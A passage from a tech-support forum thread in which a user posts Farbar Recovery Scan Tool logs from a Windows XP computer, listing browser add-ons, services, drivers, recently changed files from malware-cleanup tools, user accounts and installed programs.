    BHO: Groove GFS Browser Helper -> {72853161-30C5-4D22-B7F9-0BBC1D38A37E} -> C:\Program Files\Microsoft Office\Office12\GrooveShellExtensions.dll [2009-02-26] (Microsoft Corporation)
    BHO: Windows Live ID Sign-in Helper -> {9030D464-4C02-4ABF-8ECC-5164760863C6} -> C:\Program Files\Common Files\Microsoft Shared\Windows Live\WindowsLiveLogin.dll [2009-03-30] (Microsoft Corporation)
    BHO: Google Toolbar Helper -> {AA58ED58-01DD-4d91-8333-CF10577473F7} -> C:\Program Files\Google\Google Toolbar\GoogleToolbar_32.dll [2015-09-23] (Google Inc.)
    BHO: Adobe PDF Conversion Toolbar Helper -> {AE7CD045-E861-484f-8273-0445EE161910} -> C:\Program Files\Common Files\Adobe\Acrobat\ActiveX\AcroIEFavClient.dll [2013-05-08] (Adobe Systems Incorporated)
    BHO: Windows Live Toolbar Helper -> {E15A8DC0-8516-42A1-81EA-DC94EC1ACF10} -> C:\Program Files\Windows Live\Toolbar\wltcore.dll [2009-02-06] (Microsoft Corporation)
    BHO: SmartSelect Class -> {F4971EE7-DAA0-4053-9964-665D8EE6A077} -> C:\Program Files\Common Files\Adobe\Acrobat\ActiveX\AcroIEFavClient.dll [2013-05-08] (Adobe Systems Incorporated)
    Toolbar: HKLM - Adobe PDF - {47833539-D0C5-4125-9FA8-0819E2EAAC93} - C:\Program Files\Common Files\Adobe\Acrobat\ActiveX\AcroIEFavClient.dll [2013-05-08] (Adobe Systems Incorporated)
    Toolbar: HKLM - Contribute Toolbar - {517BDDE4-E3A7-4570-B21E-2B52B6139FC7} - C:\Program Files\Adobe\/Adobe Contribute CS4/contributeieplugin.dll [2008-09-10] (Adobe Systems Incorporated.)
    Toolbar: HKLM - Google Toolbar - {2318C2B1-4965-11d4-9B18-009027A5CD4F} - C:\Program Files\Google\Google Toolbar\GoogleToolbar_32.dll [2015-09-23] (Google Inc.)
    Toolbar: HKU\S-1-5-21-1454471165-790525478-1801674531-1003 -> Adobe PDF - {47833539-D0C5-4125-9FA8-0819E2EAAC93} - C:\Program Files\Common Files\Adobe\Acrobat\ActiveX\AcroIEFavClient.dll [2013-05-08] (Adobe Systems Incorporated)
    Toolbar: HKU\S-1-5-21-1454471165-790525478-1801674531-1003 -> Google Toolbar - {2318C2B1-4965-11D4-9B18-009027A5CD4F} - C:\Program Files\Google\Google Toolbar\GoogleToolbar_32.dll [2015-09-23] (Google Inc.)
    DPF: {32C3FEAE-0877-4767-8C20-62A5829A0945} hxxp://static.ak.facebook.com/fbplugin/win32/axfbootloader.cab?1270703312359
    DPF: {6414512B-B978-451D-A0D8-FCFDF33E833C} hxxp://update.microsoft.com/windowsupdate/v6/V5Controls/en/x86/client/wuweb_site.cab?1269983539687
    DPF: {E2883E8F-472F-4FB0-9522-AC9BF37916A7} hxxp://platformdl.adobe.com/NOS/getPlusPlus/1.6/gp.cab
    Handler: grooveLocalGWS - {88FED34C-F0CA-4636-A375-3CB6248B04CD} - C:\Program Files\Microsoft Office\Office12\GrooveSystemServices.dll [2009-02-26] (Microsoft Corporation)
    Handler: livecall - {828030A1-22C1-4009-854F-8E305202313F} - C:\Program Files\Windows Live\Messenger\msgrapp.14.0.8089.0726.dll [2009-07-26] (Microsoft Corporation)
    Handler: msnim - {828030A1-22C1-4009-854F-8E305202313F} - C:\Program Files\Windows Live\Messenger\msgrapp.14.0.8089.0726.dll [2009-07-26] (Microsoft Corporation)
    Filter: application/x-ica - {CFB6322E-CC85-4d1b-82C7-893888A236BC} - C:\Program Files\Citrix\ICA Client\IcaMimeFilter.dll [2010-05-12] (Citrix Systems, Inc.)
    Filter: ica - {CFB6322E-CC85-4d1b-82C7-893888A236BC} - C:\Program Files\Citrix\ICA Client\IcaMimeFilter.dll [2010-05-12] (Citrix Systems, Inc.)

    FireFox:
    ========
    FF ProfilePath: C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default
    FF DefaultSearchEngine: Google
    FF DefaultSearchEngine.US: Google
    FF Homepage: hxxps://www.lds.org/
    FF Keyword.URL:
    FF Plugin: @adobe.com/FlashPlayer -> C:\WINDOWS\system32\Macromed\Flash\NPSWF32_19_0_0_226.dll [2015-10-28] ()
    FF Plugin: @Apple.com/iTunes,version=1.0 -> C:\Program Files\iTunes\Mozilla Plugins\npitunes.dll [2014-10-30] ()
    FF Plugin: @Google.com/GoogleEarthPlugin -> C:\Program Files\Google\Google Earth\plugin\npgeplugin.dll [2013-10-07] (Google)
    FF Plugin: @Microsoft.com/NpCtrl,version=1.0 -> C:\Program Files\Microsoft Silverlight\5.1.30514.0\npctrl.dll [2014-05-13] ( Microsoft Corporation)
    FF Plugin: @microsoft.com/OfficeLive,version=1.5 -> C:\Program Files\Microsoft\Office Live\npOLW.dll [2010-04-26] (Microsoft Corp.)
    FF Plugin: @microsoft.com/WLPG,version=14.0.8081.0709 -> C:\Program Files\Windows Live\Photo Gallery\NPWLPG.dll [2009-07-10] (Microsoft Corporation)
    FF Plugin: @microsoft.com/WPF,version=3.5 -> C:\WINDOWS\Microsoft.NET\Framework\v3.5\Windows Presentation Foundation\NPWPF.dll [2008-07-29] (Microsoft Corporation)
    FF Plugin: @tools.google.com/Google Update;version=3 -> C:\Program Files\Google\Update\1.3.28.15\npGoogleUpdate3.dll [2015-09-23] (Google Inc.)
    FF Plugin: @tools.google.com/Google Update;version=9 -> C:\Program Files\Google\Update\1.3.28.15\npGoogleUpdate3.dll [2015-09-23] (Google Inc.)
    FF Plugin: Adobe Acrobat -> C:\Program Files\Adobe\Acrobat 9.0\Acrobat\Air\nppdf32.dll [2013-05-08] (Adobe Systems Inc.)
    FF Plugin HKU\S-1-5-21-1454471165-790525478-1801674531-1003: @facebook.com/FBPlugin,version=1.0.3 -> C:\Documents and Settings\Geny\Application Data\Facebook\npfbplugin_1_0_3.dll [2010-03-05] ( )
    FF Plugin HKU\S-1-5-21-1454471165-790525478-1801674531-1003: @talk.google.com/GoogleTalkPlugin -> C:\Documents and Settings\Geny\Application Data\Mozilla\plugins\npgoogletalk.dll [2014-10-03] (Google)
    FF Plugin HKU\S-1-5-21-1454471165-790525478-1801674531-1003: @talk.google.com/O1DPlugin -> C:\Documents and Settings\Geny\Application Data\Mozilla\plugins\npo1d.dll [2014-10-03] (Google)
    FF Plugin HKU\S-1-5-21-1454471165-790525478-1801674531-1003: @tools.google.com/Google Update;version=3 -> C:\Documents and Settings\Geny\Local Settings\Application Data\Google\Update\1.3.24.15\npGoogleUpdate3.dll [No File]
    FF Plugin HKU\S-1-5-21-1454471165-790525478-1801674531-1003: @tools.google.com/Google Update;version=9 -> C:\Documents and Settings\Geny\Local Settings\Application Data\Google\Update\1.3.24.15\npGoogleUpdate3.dll [No File]
    FF Plugin ProgramFiles/Appdata: C:\Program Files\mozilla firefox\plugins\CCMSDK.dll [2010-05-12] (Citrix Systems, Inc.)
    FF Plugin ProgramFiles/Appdata: C:\Program Files\mozilla firefox\plugins\cgpcfg.dll [2010-05-12] (Citrix Systems, Inc.)
    FF Plugin ProgramFiles/Appdata: C:\Program Files\mozilla firefox\plugins\CgpCore.dll [2010-05-12] (Citrix Systems, Inc.)
    FF Plugin ProgramFiles/Appdata: C:\Program Files\mozilla firefox\plugins\confmgr.dll [2010-05-12] (Citrix Systems, Inc.)
    FF Plugin ProgramFiles/Appdata: C:\Program Files\mozilla firefox\plugins\ctxlogging.dll [2010-05-12] (Citrix Systems, Inc.)
    FF Plugin ProgramFiles/Appdata: C:\Program Files\mozilla firefox\plugins\ctxmui.dll [2010-05-12] (Citrix Systems, Inc.)
    FF Plugin ProgramFiles/Appdata: C:\Program Files\mozilla firefox\plugins\icafile.dll [2010-05-12] (Citrix Systems, Inc.)
    FF Plugin ProgramFiles/Appdata: C:\Program Files\mozilla firefox\plugins\icalogon.dll [2010-05-12] (Citrix Systems, Inc.)
    FF Plugin ProgramFiles/Appdata: C:\Program Files\mozilla firefox\plugins\npicaN.dll [2010-05-12] ()
    FF Plugin ProgramFiles/Appdata: C:\Program Files\mozilla firefox\plugins\nppdf32.dll [2013-05-08] (Adobe Systems Inc.)
    FF Plugin ProgramFiles/Appdata: C:\Program Files\mozilla firefox\plugins\npqtplugin.dll [2015-02-12] (Apple Inc.)
    FF Plugin ProgramFiles/Appdata: C:\Program Files\mozilla firefox\plugins\npqtplugin2.dll [2015-02-12] (Apple Inc.)
    FF Plugin ProgramFiles/Appdata: C:\Program Files\mozilla firefox\plugins\npqtplugin3.dll [2015-02-12] (Apple Inc.)
    FF Plugin ProgramFiles/Appdata: C:\Program Files\mozilla firefox\plugins\npqtplugin4.dll [2015-02-12] (Apple Inc.)
    FF Plugin ProgramFiles/Appdata: C:\Program Files\mozilla firefox\plugins\npqtplugin5.dll [2015-02-12] (Apple Inc.)
    FF Plugin ProgramFiles/Appdata: C:\Program Files\mozilla firefox\plugins\npqtplugin6.dll [2012-11-15] (Apple Inc.)
    FF Plugin ProgramFiles/Appdata: C:\Program Files\mozilla firefox\plugins\npqtplugin7.dll [2012-11-15] (Apple Inc.)
    FF Plugin ProgramFiles/Appdata: C:\Program Files\mozilla firefox\plugins\sslsdk_b.dll [2010-04-14] (Citrix Systems, Inc.)
    FF Plugin ProgramFiles/Appdata: C:\Program Files\mozilla firefox\plugins\TcpPServ.dll [2010-05-12] (Citrix Systems, Inc.)
    FF Plugin ProgramFiles/Appdata: C:\Documents and Settings\Geny\Application Data\mozilla\plugins\npgoogletalk.dll [2014-10-03] (Google)
    FF Plugin ProgramFiles/Appdata: C:\Documents and Settings\Geny\Application Data\mozilla\plugins\npo1d.dll [2014-10-03] (Google)
    FF Extension: Garmin Communicator - C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{195A3098-0BD5-4e90-AE22-BA1C540AFD1E} [2015-05-30]
    FF Extension: Microsoft .NET Framework Assistant - C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\Extensions\{20a82645-c095-46ed-80e3-08825760534b} [2010-05-29] [not signed]
    FF HKLM\...\Firefox\Extensions: [{20a82645-c095-46ed-80e3-08825760534b}] - c:\WINDOWS\Microsoft.NET\Framework\v3.5\Windows Presentation Foundation\DotNetAssistantExtension
    FF Extension: Microsoft .NET Framework Assistant - c:\WINDOWS\Microsoft.NET\Framework\v3.5\Windows Presentation Foundation\DotNetAssistantExtension [2010-03-30] [not signed]

    Chrome:
    =======
    CHR StartupUrls: Default -> "hxxps://www.lds.org/?lang=eng"
    CHR Profile: C:\Documents and Settings\Geny\Local Settings\Application Data\Google\Chrome\User Data\Default
    CHR Extension: (Google Slides) - C:\Documents and Settings\Geny\Local Settings\Application Data\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek [2015-05-02]
    CHR Extension: (Google Docs) - C:\Documents and Settings\Geny\Local Settings\Application Data\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake [2015-05-02]
    CHR Extension: (Google Drive) - C:\Documents and Settings\Geny\Local Settings\Application Data\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf [2015-10-26]
    CHR Extension: (YouTube) - C:\Documents and Settings\Geny\Local Settings\Application Data\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo [2015-09-26]
    CHR Extension: (Google Search) - C:\Documents and Settings\Geny\Local Settings\Application Data\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf [2015-10-29]
    CHR Extension: (Google Sheets) - C:\Documents and Settings\Geny\Local Settings\Application Data\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap [2015-05-02]
    CHR Extension: (Google Docs Offline) - C:\Documents and Settings\Geny\Local Settings\Application Data\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi [2015-11-18]
    CHR Extension: (Chrome Web Store Payments) - C:\Documents and Settings\Geny\Local Settings\Application Data\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda [2015-08-20]
    CHR Extension: (Gmail) - C:\Documents and Settings\Geny\Local Settings\Application Data\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia [2015-05-02]

    ==================== Services (Whitelisted) ========================

    (If an entry is included in the fixlist, it will be removed from the registry. The file will not be moved unless listed separately.)

    S3 Adobe Version Cue CS4; C:\Program Files\Common Files\Adobe\Adobe Version Cue CS4\Server\bin\VersionCueCS4.exe [288112 2010-03-31] (Adobe Systems Incorporated)
    S3 AvgAMPS; C:\Program Files\AVG\Av\avgamps.exe [595376 2015-10-30] (AVG Technologies CZ, s.r.o.)
    R2 Fitbit Connect; C:\Program Files\Fitbit Connect\FitbitConnectService.exe [1435680 2014-01-10] (Fitbit, Inc.) [File not signed]
    S2 HPSupportSolutionsFrameworkService; C:\Program Files\Hp\Common\HPSupportSolutionsFrameworkService.exe [89840 2015-03-28] (Hewlett-Packard Company)
    S2 MBAMService; C:\Program Files\Malwarebytes Anti-Malware\mbamservice.exe [1135416 2015-10-05] (Malwarebytes)
    R2 Net Driver HPZ12; C:\WINDOWS\system32\HPZinw12.dll [44032 2009-05-14] (Hewlett-Packard) [File not signed]
    R2 PLFlash DeviceIoControl Service; C:\WINDOWS\system32\IoctlSvc.exe [81920 2006-12-19] (Prolific Technology Inc.) [File not signed]
    R2 Pml Driver HPZ12; C:\WINDOWS\system32\HPZipm12.dll [53760 2009-05-14] (Hewlett-Packard) [File not signed]
    R2 WAOnDemand; C:\Program Files\OPSWAT\OnDemand\GearsAgentService.exe [926128 2015-11-10] (OPSWAT, Inc.)
    R2 wltrysvc; C:\WINDOWS\System32\bcmwltry.exe [2232320 2010-03-30] (Dell Inc.) [File not signed]

    ===================== Drivers (Whitelisted) ==========================

    (If an entry is included in the fixlist, it will be removed from the registry. The file will not be moved unless listed separately.)

    S3 BCM43XX; C:\WINDOWS\System32\DRIVERS\bcmwl5.sys [2649216 2010-03-30] (Broadcom Corporation)
    S3 CCDECODE; C:\WINDOWS\System32\DRIVERS\CCDECODE.sys [17024 2008-04-13] (Microsoft Corporation)
    R2 fssfltr; C:\WINDOWS\System32\DRIVERS\fssfltr_tdi.sys [54752 2009-08-05] (Microsoft Corporation)
    S3 HPZid412; C:\WINDOWS\System32\DRIVERS\HPZid412.sys [49920 2008-10-28] (HP)
    S3 HPZipr12; C:\WINDOWS\System32\DRIVERS\HPZipr12.sys [16496 2008-10-28] (HP)
    S3 HPZius12; C:\WINDOWS\System32\DRIVERS\HPZius12.sys [21568 2008-10-28] (HP)
    R3 IntcAzAudAddService; C:\WINDOWS\System32\drivers\RtDHDAud.sys [5876224 2009-10-23] (Realtek Semiconductor Corp.)
    R3 k57w2k; C:\WINDOWS\System32\DRIVERS\k57xp32.sys [209960 2009-05-31] (Broadcom Corporation)
    R3 LEqdUsb; C:\WINDOWS\System32\Drivers\LEqdUsb.Sys [42264 2013-05-22] (Logitech, Inc.)
    R3 LHidEqd; C:\WINDOWS\System32\Drivers\LHidEqd.Sys [10136 2013-05-22] (Logitech, Inc.)
    S3 libusb0; C:\WINDOWS\System32\DRIVERS\libusb0.sys [42592 2013-08-30] (hxxp://libusb-win32.sourceforge.net)
    S3 LVUSBSta; C:\WINDOWS\System32\DRIVERS\LVUSBSta.sys [41888 2007-05-11] (Logitech Inc.)
    R3 MBAMProtector; C:\WINDOWS\system32\drivers\mbam.sys [23256 2015-10-05] (Malwarebytes)
    S3 NdisIP; C:\WINDOWS\System32\DRIVERS\NdisIP.sys [10880 2008-04-13] (Microsoft Corporation)
    S3 NuidFltr; C:\WINDOWS\System32\DRIVERS\NuidFltr.sys [14736 2009-05-09] (Microsoft Corporation)
    R3 catchme; \??\C:\ComboFix\catchme.sys [X]
    S0 cerc6; no ImagePath
    S4 IntelIde; no ImagePath
    U3 mbr; \??\C:\DOCUME~1\Geny\LOCALS~1\Temp\mbr.sys [X]

    ==================== NetSvcs (Whitelisted) ===================

    (If an entry is included in the fixlist, it will be removed from the registry. The file will not be moved unless listed separately.)


    ==================== One Month Created files and folders ========

    (If an entry is included in the fixlist, the file/folder will be moved.)

    2015-11-19 19:09 - 2015-11-19 19:09 - 00022042 _____ C:\Documents and Settings\Geny\Desktop\FRST.txt
    2015-11-19 19:08 - 2015-11-19 19:08 - 01391104 _____ (Farbar) C:\Documents and Settings\Geny\Desktop\FRST.exe
    2015-11-18 19:50 - 2015-11-19 19:09 - 00000000 ____D C:\Documents and Settings\Geny\Local Settings\temp
    2015-11-18 19:50 - 2015-11-18 19:50 - 00019856 _____ C:\ComboFix.txt
    2015-11-18 19:50 - 2015-11-18 19:50 - 00000000 ____D C:\Documents and Settings\NetworkService\Local Settings\temp
    2015-11-18 19:50 - 2015-11-18 19:50 - 00000000 ____D C:\Documents and Settings\LocalService\Local Settings\temp
    2015-11-18 19:26 - 2015-11-18 19:26 - 00000000 _RSHD C:\cmdcons
    2015-11-18 19:26 - 2015-02-12 22:19 - 00000211 _____ C:\Boot.bak
    2015-11-18 19:26 - 2004-08-03 23:00 - 00260272 __RSH C:\cmldr
    2015-11-18 19:25 - 2015-11-18 19:50 - 00000000 ____D C:\Qoobox
    2015-11-18 19:25 - 2011-06-25 23:45 - 00256000 _____ C:\WINDOWS\PEV.exe
    2015-11-18 19:25 - 2010-11-07 10:20 - 00208896 _____ C:\WINDOWS\MBR.exe
    2015-11-18 19:25 - 2009-04-19 21:56 - 00060416 _____ (NirSoft) C:\WINDOWS\NIRCMD.exe
    2015-11-18 19:25 - 2000-08-30 17:00 - 00518144 _____ (SteelWerX) C:\WINDOWS\SWREG.exe
    2015-11-18 19:25 - 2000-08-30 17:00 - 00406528 _____ (SteelWerX) C:\WINDOWS\SWSC.exe
    2015-11-18 19:25 - 2000-08-30 17:00 - 00212480 _____ (SteelWerX) C:\WINDOWS\SWXCACLS.exe
    2015-11-18 19:25 - 2000-08-30 17:00 - 00098816 _____ C:\WINDOWS\sed.exe
    2015-11-18 19:25 - 2000-08-30 17:00 - 00080412 _____ C:\WINDOWS\grep.exe
    2015-11-18 19:25 - 2000-08-30 17:00 - 00068096 _____ C:\WINDOWS\zip.exe
    2015-11-18 19:24 - 2015-11-18 19:49 - 00000000 ____D C:\WINDOWS\erdnt
    2015-11-18 19:08 - 2015-11-18 19:22 - 01257847 _____ C:\Documents and Settings\Geny\Desktop\avgremover.log
    2015-11-18 19:08 - 2015-11-18 19:07 - 03681088 _____ (AVG Technologies CZ, s.r.o.) C:\Documents and Settings\Geny\Desktop\avg_remover_stf_x86_2015_5501.exe
    2015-11-18 07:09 - 2015-11-18 07:07 - 12019984 _____ (OPSWAT, Inc.) C:\Documents and Settings\Geny\Desktop\AppRemover.exe
    2015-11-18 06:49 - 2015-11-18 06:48 - 05639131 ____R (Swearware) C:\Documents and Settings\Geny\Desktop\ComboFix.exe
    2015-11-17 08:38 - 2015-11-17 08:38 - 00001620 _____ C:\Documents and Settings\Geny\Desktop\JRT.txt
    2015-11-17 08:37 - 2015-11-17 08:37 - 00000000 ____D C:\Documents and Settings\NetworkService\Application Data\Apple Computer
    2015-11-17 08:33 - 2015-11-17 08:32 - 01599080 _____ (Malwarebytes) C:\Documents and Settings\Geny\Desktop\JRT.exe
    2015-11-17 08:30 - 2015-11-17 08:30 - 00035259 _____ C:\Documents and Settings\Geny\Desktop\AdwCleaner[C1].txt
    2015-11-17 08:26 - 2015-11-17 08:28 - 00000000 ____D C:\AdwCleaner
    2015-11-17 08:25 - 2015-11-17 08:24 - 01732096 _____ C:\Documents and Settings\Geny\Desktop\adwcleaner_5.021.exe
    2015-11-17 08:22 - 2015-11-17 08:22 - 00166628 _____ C:\Documents and Settings\Geny\Desktop\mbamreport.txt
    2015-11-16 21:01 - 2015-11-17 08:21 - 00170200 _____ (Malwarebytes) C:\WINDOWS\system32\Drivers\MBAMSwissArmy.sys
    2015-11-16 21:01 - 2015-11-16 21:01 - 00000777 _____ C:\Documents and Settings\All Users\Desktop\Malwarebytes Anti-Malware.lnk
    2015-11-16 21:01 - 2015-11-16 21:01 - 00000000 ____D C:\Program Files\Malwarebytes Anti-Malware
    2015-11-16 21:01 - 2015-11-16 21:01 - 00000000 ____D C:\Documents and Settings\All Users\Application Data\Malwarebytes
    2015-11-16 21:01 - 2015-10-05 09:50 - 00121560 _____ (Malwarebytes) C:\WINDOWS\system32\Drivers\mbamchameleon.sys
    2015-11-16 21:01 - 2015-10-05 09:50 - 00023256 _____ (Malwarebytes) C:\WINDOWS\system32\Drivers\mbam.sys
    2015-11-16 20:28 - 2015-11-16 20:28 - 00361670 _____ C:\Documents and Settings\Geny\Desktop\RKreport.txt
    2015-11-16 20:03 - 2015-11-16 19:45 - 19740232 _____ C:\Documents and Settings\Geny\Desktop\RogueKiller (3).exe
    2015-11-16 19:57 - 2015-11-16 20:41 - 00001092 _____ C:\Documents and Settings\Geny\Desktop\reply.txt
    2015-11-16 01:26 - 2015-11-16 20:03 - 00035064 _____ C:\WINDOWS\system32\Drivers\TrueSight.sys
    2015-11-16 01:26 - 2015-11-16 07:28 - 00000000 ____D C:\Documents and Settings\All Users\Application Data\RogueKiller
    2015-11-14 20:31 - 2015-11-19 19:09 - 00000000 ____D C:\FRST
    2015-11-14 14:55 - 2015-11-14 14:56 - 00000000 ____D C:\bb64b446
    2015-11-11 11:51 - 2015-11-16 19:54 - 00000664 _____ C:\Documents and Settings\Geny\Local Settings\Application Data\d3d9caps.dat
    2015-11-04 19:16 - 2015-11-06 18:36 - 00000000 ____D C:\Program Files\Mozilla Firefox
    2015-11-03 06:45 - 2015-11-03 06:45 - 00000673 _____ C:\Documents and Settings\All Users\Desktop\AVG Protection.lnk
    2015-11-03 06:40 - 2015-11-19 06:48 - 00000000 ____D C:\Documents and Settings\All Users\Application Data\Avg
    2015-11-03 06:39 - 2015-11-03 06:40 - 00000000 ____D C:\Documents and Settings\Geny\Local Settings\Application Data\AvgSetupLog

    ==================== One Month Modified files and folders ========

    (If an entry is included in the fixlist, the file/folder will be moved.)

    2015-11-19 18:53 - 2010-11-07 08:24 - 00000886 _____ C:\WINDOWS\Tasks\GoogleUpdateTaskMachineUA.job
    2015-11-19 18:53 - 2010-11-07 08:24 - 00000882 _____ C:\WINDOWS\Tasks\GoogleUpdateTaskMachineCore.job
    2015-11-19 18:32 - 2010-08-29 06:33 - 00000974 _____ C:\WINDOWS\Tasks\GoogleUpdateTaskUserS-1-5-21-1454471165-790525478-1801674531-1003UA.job
    2015-11-19 06:48 - 2012-07-26 18:55 - 00000000 ____D C:\Program Files\AVG
    2015-11-19 06:32 - 2010-08-29 06:33 - 00000922 _____ C:\WINDOWS\Tasks\GoogleUpdateTaskUserS-1-5-21-1454471165-790525478-1801674531-1003Core.job
    2015-11-19 05:53 - 2010-03-30 13:50 - 00032428 _____ C:\WINDOWS\SchedLgU.Txt
    2015-11-18 22:34 - 2010-03-30 13:46 - 01595867 _____ C:\WINDOWS\WindowsUpdate.log
    2015-11-18 19:45 - 2012-07-26 18:32 - 00000000 ____D C:\Documents and Settings\Geny\Application Data\uTorrent
    2015-11-18 19:44 - 2014-04-09 02:24 - 00000220 _____ C:\WINDOWS\Tasks\Microsoft Windows XP End of Service Notification Logon.job
    2015-11-18 19:44 - 2010-03-30 06:34 - 00000157 _____ C:\WINDOWS\wiadebug.log
    2015-11-18 19:44 - 2010-03-30 06:34 - 00000050 _____ C:\WINDOWS\wiaservc.log
    2015-11-18 19:44 - 2008-04-14 05:00 - 00000227 _____ C:\WINDOWS\system.ini
    2015-11-18 19:43 - 2010-03-30 13:51 - 00000178 ___SH C:\Documents and Settings\Geny\ntuser.ini
    2015-11-18 19:43 - 2010-03-30 13:50 - 00000006 ____H C:\WINDOWS\Tasks\SA.DAT
    2015-11-18 19:26 - 2010-03-30 06:31 - 00000327 __RSH C:\boot.ini
    2015-11-18 07:36 - 2010-03-30 13:51 - 00000000 ____D C:\Documents and Settings\Geny
    2015-11-18 06:37 - 2010-03-30 06:32 - 00607774 _____ C:\WINDOWS\system32\PerfStringBackup.INI
    2015-11-16 23:06 - 2010-03-30 15:12 - 00393216 _____ C:\WINDOWS\system32\config\WindowsPowerShell.evt
    2015-11-16 23:06 - 2010-03-30 06:27 - 00000000 ____D C:\WINDOWS\addins
    2015-11-16 23:05 - 2010-04-16 21:34 - 00000000 ____D C:\Documents and Settings\NetworkService\Local Settings\Application Data\Zynga
    2015-11-14 07:51 - 2008-04-14 05:00 - 00002206 _____ C:\WINDOWS\system32\wpa.dbl
    2015-11-11 14:38 - 2015-06-02 07:46 - 00000000 ____D C:\Documents and Settings\Geny\Local Settings\Application Data\Avg
    2015-11-11 12:56 - 2015-05-02 06:29 - 00001813 _____ C:\Documents and Settings\All Users\Desktop\Google Chrome.lnk
    2015-11-11 10:35 - 2010-04-06 19:30 - 00000000 ____D C:\Documents and Settings\Geny\Local Settings\Application Data\Apple
    2015-11-08 15:00 - 2014-04-09 02:24 - 00000214 _____ C:\WINDOWS\Tasks\Microsoft Windows XP End of Service Notification Monthly.job
    2015-11-08 03:15 - 2012-05-05 10:23 - 00000000 ____D C:\Program Files\Mozilla Maintenance Service
    2015-11-03 06:45 - 2013-10-10 02:09 - 00219030 _____ C:\WINDOWS\setupapi.log
    2015-10-29 17:40 - 2010-04-18 18:49 - 00148992 _____ C:\Documents and Settings\Geny\Local Settings\Application Data\DCBC2A71-70D8-4DAN-EHR8-E0D61DEA3FDF.ini
    2015-10-29 17:40 - 2010-04-17 16:41 - 00000069 _____ C:\WINDOWS\NeroDigital.ini
    2015-10-28 16:15 - 2012-06-30 19:27 - 00780488 _____ (Adobe Systems Incorporated) C:\WINDOWS\system32\FlashPlayerApp.exe
    2015-10-28 16:15 - 2011-06-03 19:23 - 00142536 _____ (Adobe Systems Incorporated) C:\WINDOWS\system32\FlashPlayerCPLApp.cpl
    2015-10-28 16:15 - 2010-03-31 09:20 - 00000000 ____D C:\Documents and Settings\Geny\Local Settings\Application Data\Adobe

    ==================== Files in the root of some directories =======

    2015-11-11 11:51 - 2015-11-16 19:54 - 0000664 _____ () C:\Documents and Settings\Geny\Local Settings\Application Data\d3d9caps.dat
    2010-04-18 18:49 - 2015-10-29 17:40 - 0148992 _____ () C:\Documents and Settings\Geny\Local Settings\Application Data\DCBC2A71-70D8-4DAN-EHR8-E0D61DEA3FDF.ini
    2012-11-11 08:07 - 2012-11-11 08:07 - 0027520 _____ () C:\Documents and Settings\Geny\Local Settings\Application Data\dt.dat
    2011-01-04 14:30 - 2011-01-06 10:26 - 0001940 _____ () C:\Documents and Settings\Geny\Local Settings\Application Data\{96C87F53-AC72-4604-A9CC-186A49F17F3C}.ini

    ==================== Bamital & volsnap =================

    (There is no automatic fix for files that do not pass verification.)

    C:\WINDOWS\explorer.exe => File is digitally signed
    C:\WINDOWS\system32\winlogon.exe => File is digitally signed
    C:\WINDOWS\system32\svchost.exe => File is digitally signed
    C:\WINDOWS\system32\services.exe => File is digitally signed
    C:\WINDOWS\system32\User32.dll => File is digitally signed
    C:\WINDOWS\system32\userinit.exe => File is digitally signed
    C:\WINDOWS\system32\rpcss.dll => File is digitally signed
    C:\WINDOWS\system32\dnsapi.dll => File is digitally signed
    C:\WINDOWS\system32\Drivers\volsnap.sys => File is digitally signed

    ==================== End of FRST.txt ============================
     
  23. Geny Baker

    Geny Baker TS Rookie Topic Starter Posts: 23

    Additional scan result of Farbar Recovery Scan Tool (x86) Version:19-11-2015
    Ran by Geny (2015-11-19 19:09:39)
    Running from C:\Documents and Settings\Geny\Desktop
    Microsoft Windows XP Professional Service Pack 3 (X86) (2010-03-30 20:48:39)
    Boot Mode: Normal
    ==========================================================


    ==================== Accounts: =============================

    Administrator (S-1-5-21-1454471165-790525478-1801674531-500 - Administrator - Enabled)
    ASPNET (S-1-5-21-1454471165-790525478-1801674531-1004 - Limited - Enabled)
    Geny (S-1-5-21-1454471165-790525478-1801674531-1003 - Administrator - Enabled) => %SystemDrive%\Documents and Settings\Geny
    Guest (S-1-5-21-1454471165-790525478-1801674531-501 - Limited - Enabled)
    HelpAssistant (S-1-5-21-1454471165-790525478-1801674531-1000 - Limited - Disabled)
    SUPPORT_388945a0 (S-1-5-21-1454471165-790525478-1801674531-1002 - Limited - Disabled)

    ==================== Security Center ========================

    (If an entry is included in the fixlist, it will be removed.)


    ==================== Installed Programs ======================

    (Only the adware programs with "Hidden" flag could be added to the fixlist to unhide them. The adware programs should be uninstalled manually.)

    µTorrent (HKU\S-1-5-21-1454471165-790525478-1801674531-1003\...\uTorrent) (Version: 3.4.5.41202 - BitTorrent Inc.)
    32 Bit HP CIO Components Installer (Version: 6.1.2 - Hewlett-Packard) Hidden
    Acrobat.com (HKLM\...\com.adobe.mauby.4875E02D9FB21EE389F73B8D1702B320485DF8CE.1) (Version: 1.2.443 - Adobe Systems Incorporated)
    Acrobat.com (Version: 0.0.0 - Adobe Systems Incorporated) Hidden
    Adobe Acrobat 9.5.5 - CPSID_83708 (HKLM\...\{AC76BA86-1033-F400-7760-000000000004}_955) (Version: - Adobe Systems Incorporated)
    Adobe AIR (HKLM\...\Adobe AIR) (Version: 1.1.0.5790 - Adobe Systems Inc.)
    Adobe Creative Suite 4 Master Collection (HKLM\...\Adobe_7e74552a59eaf9fafd13f90894ac9bd) (Version: 4.0 - Adobe Systems Incorporated)
    Adobe Flash Player 17 ActiveX (HKLM\...\Adobe Flash Player ActiveX) (Version: 17.0.0.190 - Adobe Systems Incorporated)
    Adobe Flash Player 19 NPAPI (HKLM\...\Adobe Flash Player NPAPI) (Version: 19.0.0.226 - Adobe Systems Incorporated)
